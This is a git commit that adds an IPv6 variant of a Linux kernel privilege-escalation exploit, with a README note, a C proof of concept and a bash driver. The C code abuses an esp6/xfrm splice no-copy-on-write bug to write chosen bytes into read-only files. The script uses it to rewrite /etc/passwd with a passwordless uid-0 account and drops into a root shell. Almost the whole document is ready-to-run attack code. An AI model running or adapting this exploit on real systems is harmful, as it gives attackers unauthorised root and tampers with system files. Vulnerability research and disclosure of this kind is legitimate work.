ipv6: add esp6 dual

Same bug in esp6_input not covered by f4c50a4034. PoC in ipv6/.
ESP packet padded to >= 40 bytes for the v6-only size gate.
This commit is contained in:
0xdeadbeefnetwork 2026-05-07 19:50:45 -04:00
parent d5ab58e091
commit 740f60f226
3 changed files with 342 additions and 0 deletions

View file

@ -40,6 +40,13 @@ path.
*MSG_SPLICE_PAGES UDP support was added in 6.5, so 5.15 is below the *MSG_SPLICE_PAGES UDP support was added in 6.5, so 5.15 is below the
bug's reach. bug's reach.
## IPv6
Same bug exists in `esp6_input` and is not covered by the v4 fix
`f4c50a4034`. PoC in `ipv6/`: `ipv6/run.sh` and `ipv6/copyfail2v6.c`.
Uses `::1` loopback and `ip -6 xfrm`. ESP packet padded to >= 40 bytes
to clear the `xfrm6_input.c:124` size gate.
## Credits ## Credits
Hyunwoo Kim (imv4bel) and Kuan-Ting Chen reported, tested, Hyunwoo Kim (imv4bel) and Kuan-Ting Chen reported, tested,

183
ipv6/copyfail2v6.c Normal file
View file

@ -0,0 +1,183 @@
// IPv6 dual of copyfail2. xfrm/esp6 MSG_SPLICE_PAGES no-COW path over ::1.
// Run inside: aa-rootns -n -- ./copyfail2v6 <target-file> <byte-offset> <want-plain-byte>
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <unistd.h>
#include <fcntl.h>
#include <errno.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/uio.h>
#include <sys/mman.h>
#include <netinet/in.h>
#include <netinet/udp.h>
#include <arpa/inet.h>
#ifndef UDP_ENCAP
#define UDP_ENCAP 100
#endif
#ifndef UDP_ENCAP_ESPINUDP
#define UDP_ENCAP_ESPINUDP 2
#endif
#include <openssl/evp.h>
#define SPI 0xdeadbeef
#define ENC_PORT 4500
#define IVLEN 8
#define ICVLEN 16
#define AES_KEYLEN 16
#define SALT_LEN 4
#define KEYTOTAL (AES_KEYLEN + SALT_LEN)
#ifndef SPLICE_F_MORE
#define SPLICE_F_MORE 0x4
#endif
static const unsigned char AEAD_KEY[KEYTOTAL] = {
0x00,0x01,0x02,0x03,0x04,0x05,0x06,0x07,
0x08,0x09,0x0a,0x0b,0x0c,0x0d,0x0e,0x0f,
0x10,0x11,0x12,0x13
};
static void die(const char *m) { perror(m); exit(1); }
static int aes_gcm_keystream_byte(const unsigned char *key16,
const unsigned char *nonce12,
size_t off, unsigned char *out)
{
EVP_CIPHER_CTX *ctx = EVP_CIPHER_CTX_new();
if (!ctx) return -1;
int len;
if (!EVP_EncryptInit_ex(ctx, EVP_aes_128_gcm(), NULL, NULL, NULL)) goto bad;
if (!EVP_CIPHER_CTX_ctrl(ctx, EVP_CTRL_AEAD_SET_IVLEN, 12, NULL)) goto bad;
if (!EVP_EncryptInit_ex(ctx, NULL, NULL, key16, nonce12)) goto bad;
unsigned char zeros[256] = {0};
size_t need = off + 1;
unsigned char buf[256];
while (need) {
size_t chunk = need < sizeof(zeros) ? need : sizeof(zeros);
if (!EVP_EncryptUpdate(ctx, buf, &len, zeros, chunk)) goto bad;
if (chunk == need) {
*out = buf[chunk - 1];
EVP_CIPHER_CTX_free(ctx);
return 0;
}
need -= chunk;
}
bad:
EVP_CIPHER_CTX_free(ctx);
return -1;
}
int main(int argc, char *argv[])
{
if (argc < 4) {
fprintf(stderr, "usage: %s <target-file> <byte-offset> <want-plain-byte>\n", argv[0]);
return 2;
}
const char *target = argv[1];
size_t tboff = strtoul(argv[2], 0, 0);
unsigned char want_plain = (unsigned char)strtoul(argv[3], 0, 0);
int tfd = open(target, O_RDONLY);
if (tfd < 0) die("open target");
unsigned char tbyte;
if (pread(tfd, &tbyte, 1, tboff) != 1) die("pread target byte");
unsigned char want_ks = tbyte ^ want_plain;
printf("[+] target=%s off=%zu ciphertext=0x%02x want_plain=0x%02x need_ks=0x%02x\n",
target, tboff, tbyte, want_plain, want_ks);
if (tbyte == want_plain) { printf("[!] target byte already equals desired value\n"); return 0; }
unsigned char IV[IVLEN] = {0};
unsigned char nonce[12];
memcpy(nonce, AEAD_KEY + AES_KEYLEN, SALT_LEN);
unsigned char ks_byte = 0;
uint64_t ivv;
for (ivv = 1; ivv < (1ULL<<32); ivv++) {
memcpy(IV, &ivv, IVLEN);
memcpy(nonce + SALT_LEN, IV, IVLEN);
if (aes_gcm_keystream_byte(AEAD_KEY, nonce, 0, &ks_byte)) {
fprintf(stderr, "openssl error\n"); return 1;
}
if (ks_byte == want_ks) break;
}
if (ks_byte != want_ks) { fprintf(stderr, "no IV found\n"); return 1; }
printf("[+] IV found (after %lu trials): ", (unsigned long)ivv);
for (int i=0;i<IVLEN;i++) printf("%02x", IV[i]);
printf(" keystream[0]=0x%02x -> plain=0x%02x\n", ks_byte, tbyte ^ ks_byte);
char keyhex[KEYTOTAL*2 + 3] = "0x";
for (int i=0;i<KEYTOTAL;i++) sprintf(keyhex + 2 + i*2, "%02x", AEAD_KEY[i]);
char cmd[1024];
snprintf(cmd, sizeof cmd,
"ip link set lo up ; "
"ip -6 xfrm state flush ; "
"ip -6 xfrm state add src ::1 dst ::1 proto esp spi 0x%08x "
"encap espinudp %d %d 0.0.0.0 aead 'rfc4106(gcm(aes))' %s 128 "
"replay-window 32",
SPI, ENC_PORT, ENC_PORT, keyhex);
if (system(cmd) != 0) { fprintf(stderr, "xfrm install failed\n"); return 1; }
int rs = socket(AF_INET6, SOCK_DGRAM, 0);
if (rs < 0) die("recv sock");
int encap = UDP_ENCAP_ESPINUDP;
if (setsockopt(rs, IPPROTO_UDP, UDP_ENCAP, &encap, sizeof(encap)) < 0)
die("UDP_ENCAP setsockopt");
struct sockaddr_in6 la = {.sin6_family = AF_INET6,
.sin6_addr = IN6ADDR_LOOPBACK_INIT,
.sin6_port = htons(ENC_PORT)};
if (bind(rs, (struct sockaddr*)&la, sizeof la) < 0) die("bind recv");
char atkpath[64];
snprintf(atkpath, sizeof atkpath, "/tmp/cf2v6.atk.%d", (int)getpid());
unlink(atkpath);
int afd = open(atkpath, O_RDWR | O_CREAT | O_EXCL, 0600);
if (afd < 0) die("open atk");
unsigned char esp_hdr[16];
*(uint32_t*)(esp_hdr + 0) = htonl(SPI);
*(uint32_t*)(esp_hdr + 4) = htonl(1);
memcpy(esp_hdr + 8, IV, IVLEN);
if (pwrite(afd, esp_hdr, 16, 0) != 16) die("pwrite esp_hdr");
// v6 size gate: net/ipv6/xfrm6_input.c rejects skb->len < 48, so UDP payload >= 40
unsigned char pad[16] = {0};
if (pwrite(afd, pad, 16, 2048) != 16) die("pwrite pad");
unsigned char icv[16] = {0};
if (pwrite(afd, icv, 16, 4096) != 16) die("pwrite icv");
fsync(afd);
posix_fadvise(afd, 0, 0, POSIX_FADV_DONTNEED);
int afd2 = open(atkpath, O_RDONLY);
if (afd2 < 0) die("reopen atk");
unlink(atkpath);
int pfd[2];
if (pipe(pfd) < 0) die("pipe");
fcntl(pfd[0], F_SETPIPE_SZ, 1<<20);
fcntl(pfd[1], F_SETPIPE_SZ, 1<<20);
loff_t off = 0;
if (splice(afd2, &off, pfd[1], NULL, 16, SPLICE_F_MORE) != 16) die("splice esp_hdr");
loff_t toff = tboff;
if (splice(tfd, &toff, pfd[1], NULL, 1, SPLICE_F_MORE) != 1) die("splice target byte");
loff_t poff = 2048;
if (splice(afd2, &poff, pfd[1], NULL, 16, SPLICE_F_MORE) != 16) die("splice pad");
loff_t ioff = 4096;
if (splice(afd2, &ioff, pfd[1], NULL, 16, SPLICE_F_MORE) != 16) die("splice icv");
int ss = socket(AF_INET6, SOCK_DGRAM, 0);
if (ss < 0) die("send sock");
struct sockaddr_in6 da = la;
if (connect(ss, (struct sockaddr*)&da, sizeof da) < 0) die("connect");
ssize_t sent = splice(pfd[0], NULL, ss, NULL, 16+1+16+16, 0);
printf("[+] splice->UDP sent=%zd errno=%d\n", sent, errno);
usleep(200*1000);
unsigned char vbyte;
if (pread(tfd, &vbyte, 1, tboff) != 1) die("verify pread");
printf("[+] post byte at offset %zu = 0x%02x (was 0x%02x, wanted 0x%02x) match=%s\n",
tboff, vbyte, tbyte, want_plain, vbyte == want_plain ? "YES" : "NO");
return vbyte == want_plain ? 0 : 1;
}

152
ipv6/run.sh Executable file
View file

@ -0,0 +1,152 @@
#!/bin/bash
# IPv6 dual of run.sh. Same flow, esp6 over ::1.
#
# Usage:
# ./run.sh install + drop into root shell
# ./run.sh --clean undo the install
set -u
HERE=$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)
ROOT=$(cd "$HERE/.." && pwd)
STATE=/var/tmp/.cf2v6.state
NEW_USER=sick
PREFIX="${NEW_USER}::0:0:"
SUFFIX=":/:/bin/bash"
red() { printf '\033[31m%s\033[0m\n' "$*" >&2; }
green() { printf '\033[32m%s\033[0m\n' "$*"; }
blue() { printf '\033[34m=== %s\033[0m\n' "$*"; }
setup_usns() {
if unshare -U -r -n -- /bin/sh -c 'ip link add type dummy 2>/dev/null && ip link del dev dummy0 2>/dev/null' 2>/dev/null; then
USNS=(unshare -U -r -n --)
return
fi
if [ -n "${AAR:-}" ] && [ -x "$AAR" ]; then
USNS=("$AAR" -n --); return
fi
if command -v aa-rootns >/dev/null 2>&1; then
USNS=("$(command -v aa-rootns)" -n --); return
fi
if [ ! -x "$ROOT/aa-rootns" ] && [ -f "$ROOT/aa-rootns.c" ]; then
gcc -O2 -Wall "$ROOT/aa-rootns.c" -o "$ROOT/aa-rootns" \
|| { red "build aa-rootns failed"; exit 1; }
fi
if [ -x "$ROOT/aa-rootns" ]; then
USNS=("$ROOT/aa-rootns" -n --); return
fi
red "no usable userns harness"
exit 1
}
build_helper() {
[ -x "$HERE/copyfail2v6" ] || gcc -O2 -Wall "$HERE/copyfail2v6.c" -o "$HERE/copyfail2v6" -lcrypto \
|| { red "build copyfail2v6 failed (need libssl-dev)"; exit 1; }
}
flip_range() {
local line_off=$1 src=$2 dst=$3 len=${#2}
local i o t off
declare -ag FLIPS=()
for ((i=0; i<len; i++)); do
o="${src:$i:1}"
t="${dst:$i:1}"
if [ "$o" != "$t" ]; then
FLIPS+=("$((line_off + i)):$(printf '0x%02x' "'$t")")
fi
done
for f in "${FLIPS[@]}"; do
off=${f%:*} ; t=${f#*:}
"${USNS[@]}" "$HERE/copyfail2v6" /etc/passwd "$off" "$t" >/dev/null
done
}
if [ "${1:-}" = "--clean" ] || [ "${1:-}" = "-c" ]; then
[ -r "$STATE" ] || { red "no state file at $STATE"; exit 1; }
# shellcheck disable=SC1090
. "$STATE"
: "${LINE_OFF:?missing LINE_OFF in state}" "${VICTIM_LINE:?missing VICTIM_LINE in state}"
VICTIM_LEN=${#VICTIM_LINE}
setup_usns
build_helper
CURRENT=$(dd if=/etc/passwd bs=1 skip="$LINE_OFF" count="$VICTIM_LEN" 2>/dev/null)
if [ "$CURRENT" = "$VICTIM_LINE" ]; then
green "[+] /etc/passwd already matches original"
rm -f "$STATE"
exit 0
fi
declare -a CFLIPS=()
for ((i=0; i<VICTIM_LEN; i++)); do
o="${CURRENT:$i:1}"
t="${VICTIM_LINE:$i:1}"
[ "$o" != "$t" ] && CFLIPS+=("$((LINE_OFF + i)):$(printf '0x%02x' "'$t")")
done
blue "Cleanup: revert ${#CFLIPS[@]} bytes at offset $LINE_OFF"
for f in "${CFLIPS[@]}"; do
off=${f%:*} ; t=${f#*:}
"${USNS[@]}" "$HERE/copyfail2v6" /etc/passwd "$off" "$t" >/dev/null
done
if grep -q "^${NEW_USER}::0:0:" /etc/passwd; then
red "sick line still present"
exit 1
fi
rm -f "$STATE"
green "[+] cleaned"
exit 0
fi
if [ "${1:-}" = "--help" ] || [ "${1:-}" = "-h" ]; then
sed -n '2,7p' "$0"
exit 0
fi
if getent passwd "$NEW_USER" | grep -q "^${NEW_USER}::0:0:"; then
green "[+] '$NEW_USER' already in /etc/passwd"
exec su - "$NEW_USER"
fi
setup_usns
build_helper
getent passwd "$NEW_USER" >/dev/null \
&& { red "'$NEW_USER' already exists with non-uid-0 entry"; exit 1; }
VICTIM_LINE=$(awk -F: '
$NF == "/usr/sbin/nologin" || $NF == "/sbin/nologin" ||
$NF == "/bin/false" || $NF == "/usr/bin/false" || $NF == "/bin/sync" {
if (length($0) > maxlen) { maxlen = length($0); maxline = $0 }
}
END { print maxline }
' /etc/passwd)
[ -n "$VICTIM_LINE" ] || { red "no victim line found"; exit 1; }
VICTIM_NAME=${VICTIM_LINE%%:*}
VICTIM_LEN=${#VICTIM_LINE}
PAD_LEN=$((VICTIM_LEN - ${#PREFIX} - ${#SUFFIX}))
[ "$PAD_LEN" -ge 0 ] \
|| { red "victim '$VICTIM_NAME' line too short ($VICTIM_LEN chars)"; exit 1; }
PAD=$(printf '%*s' "$PAD_LEN" '' | tr ' ' 'X')
TARGET_LINE="${PREFIX}${PAD}${SUFFIX}"
LINE_OFF=$(grep -nob "^$VICTIM_NAME:" /etc/passwd | head -1 | cut -d: -f2)
umask 077
{
echo "LINE_OFF=$LINE_OFF"
printf 'VICTIM_LINE=%q\n' "$VICTIM_LINE"
} > "$STATE"
blue "Stage 1: overwrite '$VICTIM_NAME' line ($VICTIM_LEN bytes)"
flip_range "$LINE_OFF" "$VICTIM_LINE" "$TARGET_LINE"
blue "Stage 2: verify"
grep "^$NEW_USER:" /etc/passwd || { red "mutation didn't land"; exit 1; }
blue "Stage 3: su - $NEW_USER"
green "[i] state at $STATE; ./run.sh --clean to revert"
exec su - "$NEW_USER"